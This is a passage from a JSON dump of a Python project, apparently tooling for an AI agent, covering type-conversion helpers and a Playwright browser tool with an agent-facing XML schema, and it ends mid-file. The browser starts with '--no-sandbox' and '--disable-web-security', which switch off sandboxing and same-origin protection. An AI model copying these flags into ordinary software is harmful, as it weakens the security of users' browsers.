_convert_basic_types(value, param_type, origin)\n\n\ndef _convert_basic_types(value: str, param_type: Any, origin: Any = None) -> Any:\n    basic_type_converters: dict[Any, Callable[[str], Any]] = {\n        int: int,\n        float: float,\n        bool: _convert_to_bool,\n        str: str,\n    }\n\n    if param_type in basic_type_converters:\n        return basic_type_converters[param_type](value)\n\n    if list in (origin, param_type):\n        return _convert_to_list(value)\n    if dict in (origin, param_type):\n        return _convert_to_dict(value)\n\n    with contextlib.suppress(json.JSONDecodeError):\n        return json.loads(value)\n    return value\n\n\ndef _convert_to_bool(value: str) -> bool:\n    if value.lower() in (\"true\", \"1\", \"yes\", \"on\"):\n        return True\n    if value.lower() in (\"false\", \"0\", \"no\", \"off\"):\n        return False\n    return bool(value)\n\n\ndef _convert_to_list(value: str) -> list[Any]:\n    try:\n        parsed = json.loads(value)\n        if isinstance(parsed, list):\n            return parsed\n    except json.JSONDecodeError:\n        if \",\" in value:\n            return [item.strip() for item in value.split(\",\")]\n        return [value]\n    else:\n        return [parsed]\n\n\ndef _convert_to_dict(value: str) -> dict[str, Any]:\n    try:\n        parsed = json.loads(value)\n        if isinstance(parsed, dict):\n            return parsed\n    except json.JSONDecodeError:\n        return {}\n    else:\n        return {}\n"
  },
  {
    "path": "strix/tools/browser/__init__.py",
    "content": "from .browser_actions import browser_action\n\n\n__all__ = [\"browser_action\"]\n"
  },
  {
    "path": "strix/tools/browser/browser_actions.py",
    "content": "from typing import TYPE_CHECKING, Any, Literal, NoReturn\n\nfrom strix.tools.registry import register_tool\n\n\nif TYPE_CHECKING:\n    from .tab_manager import BrowserTabManager\n\n\nBrowserAction = Literal[\n    \"launch\",\n    \"goto\",\n    \"click\",\n    \"type\",\n    \"scroll_down\",\n    \"scroll_up\",\n    \"back\",\n    \"forward\",\n    \"new_tab\",\n    \"switch_tab\",\n    \"close_tab\",\n    \"wait\",\n    \"execute_js\",\n    \"double_click\",\n    \"hover\",\n    \"press_key\",\n    \"save_pdf\",\n    \"get_console_logs\",\n    \"view_source\",\n    \"close\",\n    \"list_tabs\",\n]\n\n\ndef _validate_url(action_name: str, url: str | None) -> None:\n    if not url:\n        raise ValueError(f\"url parameter is required for {action_name} action\")\n\n\ndef _validate_coordinate(action_name: str, coordinate: str | None) -> None:\n    if not coordinate:\n        raise ValueError(f\"coordinate parameter is required for {action_name} action\")\n\n\ndef _validate_text(action_name: str, text: str | None) -> None:\n    if not text:\n        raise ValueError(f\"text parameter is required for {action_name} action\")\n\n\ndef _validate_tab_id(action_name: str, tab_id: str | None) -> None:\n    if not tab_id:\n        raise ValueError(f\"tab_id parameter is required for {action_name} action\")\n\n\ndef _validate_js_code(action_name: str, js_code: str | None) -> None:\n    if not js_code:\n        raise ValueError(f\"js_code parameter is required for {action_name} action\")\n\n\ndef _validate_duration(action_name: str, duration: float | None) -> None:\n    if duration is None:\n        raise ValueError(f\"duration parameter is required for {action_name} action\")\n\n\ndef _validate_key(action_name: str, key: str | None) -> None:\n    if not key:\n        raise ValueError(f\"key parameter is required for {action_name} action\")\n\n\ndef _validate_file_path(action_name: str, file_path: str | None) -> None:\n    if not file_path:\n        raise ValueError(f\"file_path parameter is required for {action_name} action\")\n\n\ndef _handle_navigation_actions(\n    manager: \"BrowserTabManager\",\n    action: str,\n    url: str | None = None,\n    tab_id: str | None = None,\n) -> dict[str, Any]:\n    if action == \"launch\":\n        return manager.launch_browser(url)\n    if action == \"goto\":\n        _validate_url(action, url)\n        assert url is not None\n        return manager.goto_url(url, tab_id)\n    if action == \"back\":\n        return manager.back(tab_id)\n    if action == \"forward\":\n        return manager.forward(tab_id)\n    raise ValueError(f\"Unknown navigation action: {action}\")\n\n\ndef _handle_interaction_actions(\n    manager: \"BrowserTabManager\",\n    action: str,\n    coordinate: str | None = None,\n    text: str | None = None,\n    key: str | None = None,\n    tab_id: str | None = None,\n) -> dict[str, Any]:\n    if action in {\"click\", \"double_click\", \"hover\"}:\n        _validate_coordinate(action, coordinate)\n        assert coordinate is not None\n        action_map = {\n            \"click\": manager.click,\n            \"double_click\": manager.double_click,\n            \"hover\": manager.hover,\n        }\n        return action_map[action](coordinate, tab_id)\n\n    if action in {\"scroll_down\", \"scroll_up\"}:\n        direction = \"down\" if action == \"scroll_down\" else \"up\"\n        return manager.scroll(direction, tab_id)\n\n    if action == \"type\":\n        _validate_text(action, text)\n        assert text is not None\n        return manager.type_text(text, tab_id)\n    if action == \"press_key\":\n        _validate_key(action, key)\n        assert key is not None\n        return manager.press_key(key, tab_id)\n\n    raise ValueError(f\"Unknown interaction action: {action}\")\n\n\ndef _raise_unknown_action(action: str) -> NoReturn:\n    raise ValueError(f\"Unknown action: {action}\")\n\n\ndef _handle_tab_actions(\n    manager: \"BrowserTabManager\",\n    action: str,\n    url: str | None = None,\n    tab_id: str | None = None,\n) -> dict[str, Any]:\n    if action == \"new_tab\":\n        return manager.new_tab(url)\n    if action == \"switch_tab\":\n        _validate_tab_id(action, tab_id)\n        assert tab_id is not None\n        return manager.switch_tab(tab_id)\n    if action == \"close_tab\":\n        _validate_tab_id(action, tab_id)\n        assert tab_id is not None\n        return manager.close_tab(tab_id)\n    if action == \"list_tabs\":\n        return manager.list_tabs()\n    raise ValueError(f\"Unknown tab action: {action}\")\n\n\ndef _handle_utility_actions(\n    manager: \"BrowserTabManager\",\n    action: str,\n    duration: float | None = None,\n    js_code: str | None = None,\n    file_path: str | None = None,\n    tab_id: str | None = None,\n    clear: bool = False,\n) -> dict[str, Any]:\n    if action == \"wait\":\n        _validate_duration(action, duration)\n        assert duration is not None\n        return manager.wait_browser(duration, tab_id)\n    if action == \"execute_js\":\n        _validate_js_code(action, js_code)\n        assert js_code is not None\n        return manager.execute_js(js_code, tab_id)\n    if action == \"save_pdf\":\n        _validate_file_path(action, file_path)\n        assert file_path is not None\n        return manager.save_pdf(file_path, tab_id)\n    if action == \"get_console_logs\":\n        return manager.get_console_logs(tab_id, clear)\n    if action == \"view_source\":\n        return manager.view_source(tab_id)\n    if action == \"close\":\n        return manager.close_browser()\n    raise ValueError(f\"Unknown utility action: {action}\")\n\n\n@register_tool(requires_browser_mode=True)\ndef browser_action(\n    action: BrowserAction,\n    url: str | None = None,\n    coordinate: str | None = None,\n    text: str | None = None,\n    tab_id: str | None = None,\n    js_code: str | None = None,\n    duration: float | None = None,\n    key: str | None = None,\n    file_path: str | None = None,\n    clear: bool = False,\n) -> dict[str, Any]:\n    from .tab_manager import get_browser_tab_manager\n\n    manager = get_browser_tab_manager()\n\n    try:\n        navigation_actions = {\"launch\", \"goto\", \"back\", \"forward\"}\n        interaction_actions = {\n            \"click\",\n            \"type\",\n            \"double_click\",\n            \"hover\",\n            \"press_key\",\n            \"scroll_down\",\n            \"scroll_up\",\n        }\n        tab_actions = {\"new_tab\", \"switch_tab\", \"close_tab\", \"list_tabs\"}\n        utility_actions = {\n            \"wait\",\n            \"execute_js\",\n            \"save_pdf\",\n            \"get_console_logs\",\n            \"view_source\",\n            \"close\",\n        }\n\n        if action in navigation_actions:\n            return _handle_navigation_actions(manager, action, url, tab_id)\n        if action in interaction_actions:\n            return _handle_interaction_actions(manager, action, coordinate, text, key, tab_id)\n        if action in tab_actions:\n            return _handle_tab_actions(manager, action, url, tab_id)\n        if action in utility_actions:\n            return _handle_utility_actions(\n                manager, action, duration, js_code, file_path, tab_id, clear\n            )\n\n        _raise_unknown_action(action)\n\n    except (ValueError, RuntimeError) as e:\n        return {\n            \"error\": str(e),\n            \"tab_id\": tab_id,\n            \"screenshot\": \"\",\n            \"is_running\": False,\n        }\n"
  },
  {
    "path": "strix/tools/browser/browser_actions_schema.xml",
    "content": "<tools>\n  <tool name=\"browser_action\">\n    <description>Perform browser actions using a Playwright-controlled browser with multiple tabs.\n  The browser is PERSISTENT and remains active until explicitly closed, allowing for\n  multi-step workflows and long-running processes across multiple tabs.</description>\n    <parameters>\n      <parameter name=\"action\" type=\"string\" required=\"true\">\n      </parameter>\n      <parameter name=\"url\" type=\"string\" required=\"false\">\n        <description>Required for 'launch', 'goto', and optionally for 'new_tab' actions. The URL to launch the browser at, navigate to, or load in new tab. Must include appropriate protocol (e.g., http://, https://, file://).</description>\n      </parameter>\n      <parameter name=\"coordinate\" type=\"string\" required=\"false\">\n        <description>Required for 'click', 'double_click', and 'hover' actions. Format: \"x,y\" (e.g., \"432,321\"). Coordinates should target the center of elements (buttons, links, etc.). Must be within the browser viewport resolution. Be very careful to calculate the coordinates correctly based on the previous screenshot.</description>\n      </parameter>\n      <parameter name=\"text\" type=\"string\" required=\"false\">\n        <description>Required for 'type' action. The text to type in the field.</description>\n      </parameter>\n      <parameter name=\"tab_id\" type=\"string\" required=\"false\">\n        <description>Required for 'switch_tab' and 'close_tab' actions. Optional for other actions to specify which tab to operate on. The ID of the tab to operate on. The first tab created during 'launch' has ID \"tab_1\". If not provided, actions will operate on the currently active tab.</description>\n      </parameter>\n      <parameter name=\"js_code\" type=\"string\" required=\"false\">\n        <description>Required for 'execute_js' action. JavaScript code to execute in the page context. The code runs in the context of the current page and has access to the DOM and all page-defined variables and functions. The last evaluated expression's value is returned in the response.</description>\n      </parameter>\n      <parameter name=\"duration\" type=\"string\" required=\"false\">\n        <description>Required for 'wait' action. Number of seconds to pause execution. Can be fractional (e.g., 0.5 for half a second).</description>\n      </parameter>\n      <parameter name=\"key\" type=\"string\" required=\"false\">\n        <description>Required for 'press_key' action. The key to press. Valid values include: - Single characters: 'a'-'z', 'A'-'Z', '0'-'9' - Special keys: 'Enter', 'Escape', 'ArrowLeft', 'ArrowRight', etc. - Modifier keys: 'Shift', 'Control', 'Alt', 'Meta' - Function keys: 'F1'-'F12'</description>\n      </parameter>\n      <parameter name=\"file_path\" type=\"string\" required=\"false\">\n        <description>Required for 'save_pdf' action. The file path where to save the PDF.</description>\n      </parameter>\n      <parameter name=\"clear\" type=\"boolean\" required=\"false\">\n        <description>For 'get_console_logs' action: whether to clear console logs after retrieving them. Default is False (keep logs).</description>\n      </parameter>\n    </parameters>\n    <returns type=\"Dict[str, Any]\">\n      <description>Response containing: - screenshot: Base64 encoded PNG of the current page state - url: Current page URL - title: Current page title - viewport: Current browser viewport dimensions - tab_id: ID of the current active tab - all_tabs: Dict of all open tab IDs and their URLs - message: Status message about the action performed - js_result: Result of JavaScript execution (for execute_js action) - pdf_saved: File path of saved PDF (for save_pdf action) - console_logs: Array of console messages (for get_console_logs action)   Limited to 50KB total and 200 most recent logs. Individual messages truncated at 1KB. - page_source: HTML source code (for view_source action)   Large pages are truncated to 100KB (keeping beginning and end sections).</description>\n    </returns>\n    <notes>\n  Important usage rules:\n  1. PERSISTENCE: The browser remains active and maintains its state until\n     explicitly closed with the 'close' action. This allows for multi-step workflows\n     across multiple tool calls and tabs.\n  2. Browser interaction MUST start with 'launch' and end with 'close'.\n  3. Only one action can be performed per call.\n  4. To visit a new URL not reachable from current page, either:\n     - Use 'goto' action\n     - Open a new tab with the URL\n     - Close browser and relaunch\n  5. Click coordinates must be derived from the most recent screenshot.\n  6. You MUST click on the center of the element, not the edge. You MUST calculate\n     the coordinates correctly based on the previous screenshot, otherwise the click\n     will fail. After clicking, check the new screenshot to verify the click was\n     successful.\n  7. Tab management:\n     - First tab from 'launch' is \"tab_1\"\n     - New tabs are numbered sequentially (\"tab_2\", \"tab_3\", etc.)\n     - Must have at least one tab open at all times\n     - Actions affect the currently active tab unless tab_id is specified\n  8. JavaScript execution (following Playwright evaluation patterns):\n     - Code runs in the browser page context, not the tool context\n     - Has access to DOM (document, window, etc.) and page variables/functions\n     - The LAST EVALUATED EXPRESSION is automatically returned - no return statement needed\n     - For simple values: document.title (returns the title)\n     - For objects: {title: document.title, url: location.href} (returns the object)\n     - For async operations: Use await and the promise result will be returned\n     - AVOID explicit return statements - they can break evaluation\n     - object literals must be wrapped in paranthesis when they are the final expression\n     - Variables from tool context are NOT available - pass data as parameters if needed\n     - Examples of correct patterns:\n       * Single value: document.querySelectorAll('img').length\n       * Object result: {images: document.images.length, links: document.links.length}\n       * Async operation: await fetch(location.href).then(r => r.status)\n       * DOM manipulation: document.body.style.backgroundColor = 'red'; 'background changed'\n\n  9. Wait action:\n     - Time is specified in seconds\n     - Can be used to wait for page loads, animations, etc.\n     - Can be fractional (e.g., 0.5 seconds)\n     - Screenshot is captured after the wait\n  10. The browser can operate concurrently with other tools. You may invoke\n      terminal, python, or other tools (in separate assistant messages) while maintaining\n      the active browser session, enabling sophisticated multi-tool workflows.\n  11. Keyboard actions:\n      - Use press_key for individual key presses\n      - Use type for typing regular text\n      - Some keys have special names based on Playwright's key documentation\n  12. All code in the js_code parameter is executed as-is - there's no need to\n      escape special characters or worry about formatting. Just write your JavaScript\n      code normally. It can be single line or multi-line.\n  13. For form filling, click on the field first, then use 'type' to enter text.\n  14. The browser runs in headless mode using Chrome engine for security and performance.\n  15. RESOURCE MANAGEMENT:\n      - ALWAYS close tabs you no longer need using 'close_tab' action.\n      - ALWAYS close the browser with 'close' action when you have completely finished\n        all browser-related tasks. Do not leave the browser running if you're done with it.\n      - If you opened multiple tabs, close them as soon as you've extracted the needed\n        information from each one.\n    </notes>\n    <examples>\n  # Launch browser at URL (creates tab_1)\n  <function=browser_action>\n  <parameter=action>launch</parameter>\n  <parameter=url>https://example.com</parameter>\n  </function>\n\n  # Navigate to different URL\n  <function=browser_action>\n  <parameter=action>goto</parameter>\n  <parameter=url>https://github.com</parameter>\n  </function>\n\n  # Open new tab with different URL\n  <function=browser_action>\n  <parameter=action>new_tab</parameter>\n  <parameter=url>https://another-site.com</parameter>\n  </function>\n\n  # Wait for page load\n  <function=browser_action>\n  <parameter=action>wait</parameter>\n  <parameter=duration>2.5</parameter>\n  </function>\n\n  # Click login button at coordinates from screenshot\n  <function=browser_action>\n  <parameter=action>click</parameter>\n  <parameter=coordinate>450,300</parameter>\n  </function>\n\n  # Click username field and type\n  <function=browser_action>\n  <parameter=action>click</parameter>\n  <parameter=coordinate>400,200</parameter>\n  </function>\n\n  <function=browser_action>\n  <parameter=action>type</parameter>\n  <parameter=text>user@example.com</parameter>\n  </function>\n\n  # Click password field and type\n  <function=browser_action>\n  <parameter=action>click</parameter>\n  <parameter=coordinate>400,250</parameter>\n  </function>\n\n  <function=browser_action>\n  <parameter=action>type</parameter>\n  <parameter=text>mypassword123</parameter>\n  </function>\n\n  # Press Enter key\n  <function=browser_action>\n  <parameter=action>press_key</parameter>\n  <parameter=key>Enter</parameter>\n  </function>\n\n  # Execute JavaScript to get page stats (correct pattern - no return statement)\n  <function=browser_action>\n  <parameter=action>execute_js</parameter>\n  <parameter=js_code>const images = document.querySelectorAll('img');\nconst links = document.querySelectorAll('a');\n{\n    images: images.length,\n    links: links.length,\n    title: document.title\n}</parameter>\n  </function>\n\n  # Scroll down\n  <function=browser_action>\n  <parameter=action>scroll_down</parameter>\n  </function>\n\n  # Get console logs\n  <function=browser_action>\n  <parameter=action>get_console_logs</parameter>\n  </function>\n\n  # View page source\n  <function=browser_action>\n  <parameter=action>view_source</parameter>\n  </function>\n    </examples>\n  </tool>\n</tools>\n"
  },
  {
    "path": "strix/tools/browser/browser_instance.py",
    "content": "import asyncio\nimport base64\nimport contextlib\nimport logging\nimport threading\nfrom pathlib import Path\nfrom typing import Any, cast\n\nfrom playwright.async_api import Browser, BrowserContext, Page, Playwright, async_playwright\n\n\nlogger = logging.getLogger(__name__)\n\nMAX_PAGE_SOURCE_LENGTH = 20_000\nMAX_CONSOLE_LOG_LENGTH = 30_000\nMAX_INDIVIDUAL_LOG_LENGTH = 1_000\nMAX_CONSOLE_LOGS_COUNT = 200\nMAX_JS_RESULT_LENGTH = 5_000\n\n\nclass _BrowserState:\n    \"\"\"Singleton state for the shared browser instance.\"\"\"\n\n    lock = threading.Lock()\n    event_loop: asyncio.AbstractEventLoop | None = None\n    event_loop_thread: threading.Thread | None = None\n    playwright: Playwright | None = None\n    browser: Browser | None = None\n\n\n_state = _BrowserState()\n\n\ndef _ensure_event_loop() -> None:\n    if _state.event_loop is not None:\n        return\n\n    def run_loop() -> None:\n        _state.event_loop = asyncio.new_event_loop()\n        asyncio.set_event_loop(_state.event_loop)\n        _state.event_loop.run_forever()\n\n    _state.event_loop_thread = threading.Thread(target=run_loop, daemon=True)\n    _state.event_loop_thread.start()\n\n    while _state.event_loop is None:\n        threading.Event().wait(0.01)\n\n\nasync def _create_browser() -> Browser:\n    if _state.browser is not None and _state.browser.is_connected():\n        return _state.browser\n\n    if _state.browser is not None:\n        with contextlib.suppress(Exception):\n            await _state.browser.close()\n        _state.browser = None\n    if _state.playwright is not None:\n        with contextlib.suppress(Exception):\n            await _state.playwright.stop()\n        _state.playwright = None\n\n    _state.playwright = await async_playwright().start()\n    _state.browser = await _state.playwright.chromium.launch(\n        headless=True,\n        args=[\n            \"--no-sandbox\",\n            \"--disable-dev-shm-usage\",\n            \"--disable-gpu\",\n            \"--disable-web-security\",\n        ],\n    )\n    return _state.browser\n\n\ndef _get_browser() -> tuple[asyncio.AbstractEventLoop, Browser]:\n    with _state.lock:\n        _ensure_event_loop()\n        assert _state.event_loop is not None\n\n        if _state.browser is None or not _state.browser.is_connected():\n            future = asyncio.run_coroutine_threadsafe(_create_browser(), _state.event_loop)\n            future.result(timeout=30)\n\n        assert _state.browser is not None\n        return _state.event_loop, _state.browser\n\n\nclass BrowserInstance:\n    def __init__(self) -> None:\n        self.is_running = True\n        self._execution_lock = threading.Lock()\n\n        self._loop: asyncio.AbstractEventLoop | None = None\n        self._browser: Browser | None = None\n\n        self.context: BrowserContext | None = None\n        self.pages: dict[str, Page] = {}\n        self.current_page_id: str | None = None\n        self._next_tab_id = 1\n\n        self.console_logs: dict[str, list[dict[str, Any]]] = {}\n\n    def _run_async(self, coro: Any) -> dict[str, Any]:\n        if not self._loop or not self.is_running:\n            raise RuntimeError(\"Browser instance is not running\")\n\n        future = asyncio.run_coroutine_threadsafe(coro, self._loop)\n        return cast(\"dict[str, Any]\", future.result(timeout=30))  # 30 second timeout\n\n    async def _setup_console_logging(self, page: Page, tab_id: str) -> None:\n        self.console_logs[tab_id] = []\n\n        def handle_console(msg: Any) -> None:\n            text = msg.text\n            if len(text) > MAX_INDIVIDUAL_LOG_LENGTH:\n                text = text[:MAX_INDIVIDUAL_LOG_LENGTH] + \"... [TRUNCATED]\"\n\n            log_entry = {\n                \"type\": msg.type,\n                \"text\": text,\n                \"location\": msg.location,\n                \"timestamp\": asyncio.get_event_loop().time(),\n            }\n\n            self.console_logs[tab_id].append(log_entry)\n\n            if len(self.console_logs[tab_id]) > MAX_CONSOLE_LOGS_COUNT:\n                self.console_logs[tab_id] = self.console_logs[tab_id][-MAX_CONSOLE_LOGS_COUNT:]\n\n        page.on(\"console\", handle_console)\n\n    async def _create_context(self, url: str | None = None) -> dict[str, Any]:\n        assert self._browser is not None\n\n        self.context = await self._browser.new_context(\n            viewport={\"width\": 1280, \"height\": 720},\n            user_agent=(\n                \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 \"\n                \"(KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\"\n            ),\n        )\n\n        page = await self.context.new_page()\n        tab_id = f\"tab_{self._next_tab_id}\"\n        self._next_tab_id += 1\n        self.pages[tab_id] = page\n        self.current_page_id = tab_id\n\n        await self._setup_console_logging(page, tab_id)\n\n        if url:\n            await page.goto(url, wait_until=\"domcontentloaded\")\n\n        return await self._get_page_state(tab_id)\n\n    async def _get_page_state(self, tab_id: str | None = None) -> dict[str, Any]:\n        if not tab_id:\n            tab_id = self.current_page_id\n\n        if not tab_id or tab_id not in self.pages:\n            raise ValueError(f\"Tab '{tab_id}' not found\")\n\n        page = self.pages[tab_id]\n\n        await asyncio.sleep(2)\n\n        screenshot_bytes = await page.screenshot(type=\"png\", full_page=False)\n        screenshot_b64 = base64.b64encode(screenshot_bytes).decode(\"utf-8\")\n\n        url = page.url\n        title = await page.title()\n        viewport = page.viewport_size\n\n        all_tabs = {}\n        for tid, tab_page in self.pages.items():\n            all_tabs[tid] = {\n                \"url\": tab_page.url,\n                \"title\": await tab_page.title() if not tab_page.is_closed() else \"Closed\",\n            }\n\n        return {\n            \"screenshot\": screenshot_b64,\n            \"url\": url,\n            \"title\": title,\n            \"viewport\": viewport,\n            \"tab_id\": tab_id,\n            \"all_tabs\": all_tabs,\n        }\n\n    def launch(self, url: str | None = None) -> dict[str, Any]:\n        with self._execution_lock:\n            if self.context is not None:\n                raise ValueError(\"Browser is already launched\")\n\n            self._loop, self._browser = _get_browser()\n            return self._run_async(self._create_context(url))\n\n    def goto(self, url: str, tab_id: str | None = None) -> dict[str, Any]:\n        with self._execution_lock:\n            return self._run_async(self._goto(url, tab_id))\n\n    async def _goto(self, url: str, tab_id: str | None = None) -> dict[str, Any]:\n        if not tab_id:\n            tab_id = self.current_page_id\n\n        if not tab_id or tab_id not in self.pages:\n            raise ValueError(f\"Tab '{tab_id}' not found\")\n\n        page = self.pages[tab_id]\n        await page.goto(url, wait_until=\"domcontentloaded\")\n\n        return await self._get_page_state(tab_id)\n\n    def click(self, coordinate: str, tab_id: str | None = None) -> dict[str, Any]:\n        with self._execution_lock:\n            return self._run_async(self._click(coordinate, tab_id))\n\n    async def _click(self, coordinate: str, tab_id: str | None = None) -> dict[str, Any]:\n        if not tab_id:\n            tab_id = self.current_page_id\n\n        if not tab_id or tab_id not in self.pages:\n            raise ValueError(f\"Tab '{tab_id}' not found\")\n\n        try:\n            x, y = map(int, coordinate.split(\",\"))\n        except ValueError as e:\n            raise ValueError(f\"Invalid coordinate format: {coordinate}. Use 'x,y'\") from e\n\n        page = self.pages[tab_id]\n        await page.mouse.click(x, y)\n\n        return await self._get_page_state(tab_id)\n\n    def type_text(self, text: str, tab_id: str | None = None) -> dict[str, Any]:\n        with self._execution_lock:\n            return self._run_async(self._type_text(text, tab_id))\n\n    async def _type_text(self, text: str, tab_id: str | None = None) -> dict[str, Any]:\n        if not tab_id:\n            tab_id = self.current_page_id\n\n        if not tab_id or tab_id not in self.pages:\n            raise ValueError(f\"Tab '{tab_id}' not found\")\n\n        page = self.pages[tab_id]\n        await page.keyboard.type(text)\n\n        return await self._get_page_state(tab_id)\n\n    def scroll(self, direction: str, tab_id: str | None = None) -> dict[str, Any]:\n        with self._execution_lock:\n            return self._run_async(self._scroll(direction, tab_id))\n\n    async def _scroll(self, direction: str, tab_id: str | None = None) -> dict[str, Any]:\n        if not tab_id:\n            tab_id = self.current_page_id\n\n        if not tab_id or tab_id not in self.pages:\n            raise ValueError(f\"Tab '{tab_id}' not found\")\n\n        page = self.pages[tab_id]\n\n        if direction == \"down\":\n            await page.keyboard.press(\"PageDown\")\n        elif direction == \"up\":\n            await page.keyboard.press(\"PageUp\")\n        else:\n            raise ValueError(f\"Invalid scroll direction: {direction}\")\n\n        return await self._get_page_state(tab_id)\n\n    def back(self, tab_id: str | None = None) -> dict[str, Any]:\n        with self._execution_lock:\n            return self._run_async(self._back(tab_id))\n\n    async def _back(self, tab_id: str | None = None) -> dict[str, Any]:\n        if not tab_id:\n            tab_id = self.current_page_id\n\n        if not tab_id or tab_id not in self.pages:\n            raise ValueError(f\"Tab '{tab_id}' not found\")\n\n        page = self.pages[tab_id]\n        await page.go_back(wait_until=\"domcontentloaded\")\n\n        return await self._get_page_state(tab_id)\n\n    def forward(self, tab_id: str | None = None) -> dict[str, Any]:\n        with self._execution_lock:\n            return self._run_async(self._forward(tab_id))\n\n    async def _forward(self, tab_id: str | None = None) -> dict[str, Any]:\n        if not tab_id:\n            tab_id = self.current_page_id\n\n        if not tab_id or tab_id not in self.pages:\n            raise ValueError(f\"Tab '{tab_id}' not found\")\n\n        page = self.pages[tab_id]\n        await page.go_forward(wait_until=\"domcontentloaded\")\n\n        return await self._get_page_state(tab_id)\n\n    def new_tab(self, url: str | None = None) -> dict[str, Any]:\n        with self._execution_lock:\n            return self._run_async(self._new_tab(url))\n\n    async def _new_tab(self, url: str | None = None) -> dict[str, Any]:\n        if not self.context:\n            raise ValueError(\"Browser not launched\")\n\n        page = await self.context.new_page()\n        tab_id = f\"tab_{self._next_tab_id}\"\n        self._next_tab_id += 1\n        self.pages[tab_id] = page\n        self.current_page_id = tab_id\n\n        await self._setup_console_logging(page, tab_id)\n\n        if url:\n            await page.goto(url, wait_until=\"domcontentloaded\")\n\n        return await self._get_page_state(tab_id)\n\n    def switch_tab(self, tab_id: str) -> dict[str, Any]:\n        with self._execution_lock:\n            return self._run_async(self._switch_tab(tab_id))\n\n    async def _switch_tab(self, tab_id: str) -> dict[str, Any]:\n        if tab_id not in self.pages:\n            raise ValueError(f\"Tab '{tab_id}' not found\")\n\n        self.current_page_id = tab_id\n        return await self._get_page_state(tab_id)\n\n    def close_tab(self, tab_id: str) -> dict[str, Any]:\n        with self._execution_lock:\n            return self._run_async(self._close_tab(tab_id))\n\n    async def _close_tab(self, tab_id: str) -> dict[str, Any]:\n        if tab_id not in self.pages:\n            raise ValueError(f\"Tab '{tab_id}' not found\")\n\n        if len(self.pages) == 1:\n            raise ValueError(\"Cannot close the last tab\")\n\n        page = self.pages.pop(tab_id)\n        await page.close()\n\n        if tab_id in self.console_logs:\n            del self.console_logs[tab_id]\n\n        if self.current_page_id == tab_id:\n            self.current_page_id = next(iter(self.pages.keys()))\n\n        return await self._get_page_state(self.current_page_id)\n\n    def wait(self, duration: float, tab_id: str | None = None) -> dict[str, Any]:\n        with self._execution_lock:\n            return self._run_async(self._wait(duration, tab_id))\n\n    async def _wait(self, duration: float, tab_id: str | None = None) -> dict[str, Any]:\n        await asyncio.sleep(duration)\n        return await self._get_page_state(tab_id)\n\n    def execute_js(self, js_code: str, tab_id: str | None = None) -> dict[str, Any]:\n        with self._execution_lock:\n            return self._run_async(self._execute_js(js_code, tab_id))\n\n    async def _execute_js(self, js_code: str, tab_id: str | None = None) -> dict[str, Any]:\n        if not tab_id:\n            tab_id = self.current_page_id\n\n        if not tab_id or tab_id not in self.pages:\n            raise ValueError(f\"Tab '{tab_id}' not found\")\n\n        page = self.pages[tab_id]\n\n        try:\n            result = await page.evaluate(js_code)\n        except Exception as e:  # noqa: BLE001\n            result = {\n                \"error\": True,\n                \"error_type\": type(e).__name__,\n                \"error_message\": str(e),\n            }\n\n        result_str = str(result)\n        if len(result_str) > MAX_JS_RESULT_LENGTH:\n            result = result_str[:MAX_JS_RESULT_LENGTH] + \"... [JS result truncated at 5k chars]\"\n\n        state = await self._get_page_state(tab_id)\n        state[\"js_result\"] = result\n        return state\n\n    def get_console_logs(self, tab_id: str | None = None, clear: bool = False) -> dict[str, Any]:\n        with self._execution_lock:\n            return self._run_async(self._get_console_logs(tab_id, clear))\n\n    async def _get_console_logs(\n        self, tab_id: str | None = None, clear: bool = False\n    ) -> dict[str, Any]:\n        if not tab_id:\n            tab_id = self.current_page_id\n\n        if not tab_id or tab_id not in self.pages:\n            raise ValueError(f\"Tab '{tab_id}' not found\")\n\n        logs = self.console_logs.get(tab_id, [])\n\n        total_length = sum(len(str(log)) for log in logs)\n        if total_length > MAX_CONSOLE_LOG_LENGTH:\n            truncated_logs: list[dict[str, Any]] = []\n            current_length = 0\n\n            for log in reversed(logs):\n                log_length = len(str(log))\n                if current_length + log_length <= MAX_CONSOLE_LOG_LENGTH:\n                    truncated_logs.insert(0, log)\n                    current_length += log_length\n                else:\n                    break\n\n            if len(truncated_logs) < len(logs):\n                truncation_notice = {\n                    \"type\": \"info\",\n                    \"text\": (\n                        f\"[TRUNCATED: {len(logs) - len(truncated_logs)} older logs \"\n                        f\"removed to stay within {MAX_CONSOLE_LOG_LENGTH} character limit]\"\n                    ),\n                    \"location\": {},\n                    \"timestamp\": 0,\n                }\n                truncated_logs.insert(0, truncation_notice)\n\n            logs = truncated_logs\n\n        if clear:\n            self.console_logs[tab_id] = []\n\n        state = await self._get_page_state(tab_id)\n        state[\"console_logs\"] = logs\n        return state\n\n    def view_source(self, tab_id: str | None = None) -> dict[str, Any]:\n        with self._execution_lock:\n            return self._run_async(self._view_source(tab_id))\n\n    async def _view_source(self, tab_id: str | None = None) -> dict[str, Any]:\n        if not tab_id:\n            tab_id = self.current_page_id\n\n        if not tab_id or tab_id not in self.pages:\n            raise ValueError(f\"Tab '{tab_id}' not found\")\n\n        page = self.pages[tab_id]\n        source = await page.content()\n        original_length = len(source)\n\n        if original_length > MAX_PAGE_SOURCE_LENGTH:\n            truncation_message = (\n                f\"\\n\\n<!-- [TRUNCATED: {original_length - MAX_PAGE_SOURCE_LENGTH} \"\n                \"characters removed] -->\\n\\n\"\n            )\n            available_space = MAX_PAGE_SOURCE_LENGTH - len(truncation_message)\n            truncate_point = available_space // 2\n\n            source = source[:truncate_point] + truncation_message + source[-truncate_point:]\n\n        state = await self._get_page_state(tab_id)\n        state[\"page_source\"] = source\n        return state\n\n    def double_click(self, coordinate: str, tab_id: str | None = None) -> dict[str, Any]:\n        with self._execution_lock:\n            return self._run_async(self._double_click(coordinate, tab_id))\n\n    async def _double_click(self, coordinate: str, tab_id: str | None = None) -> dict[str, Any]:\n        if not tab_id:\n            tab_id = self.current_page_id\n\n        if not tab_id or tab_id not in self.pages:\n            raise ValueError(f\"Tab '{tab_id}' not found\")\n\n        try:\n            x, y = map(int, coordinate.split(\",\"))\n        except ValueError as e:\n            raise ValueError(f\"Invalid coordinate format: {coordinate}. Use 'x,y'\") from e\n\n        page = self.pages[tab_id]\n        await page.mouse.dblclick(x, y)\n\n        return await self._get_page_state(tab_id)\n\n    def hover(self, coordinate: str, tab_id: str | None = None) -> dict[str, Any]:\n        with self._execution_lock:\n            return self._run_async(self._hover(coordinate, tab_id))\n\n    async def _hover(self, coordinate: str, tab_id: str | None = None) -> dict[str, Any]:\n        if not tab_id:\n            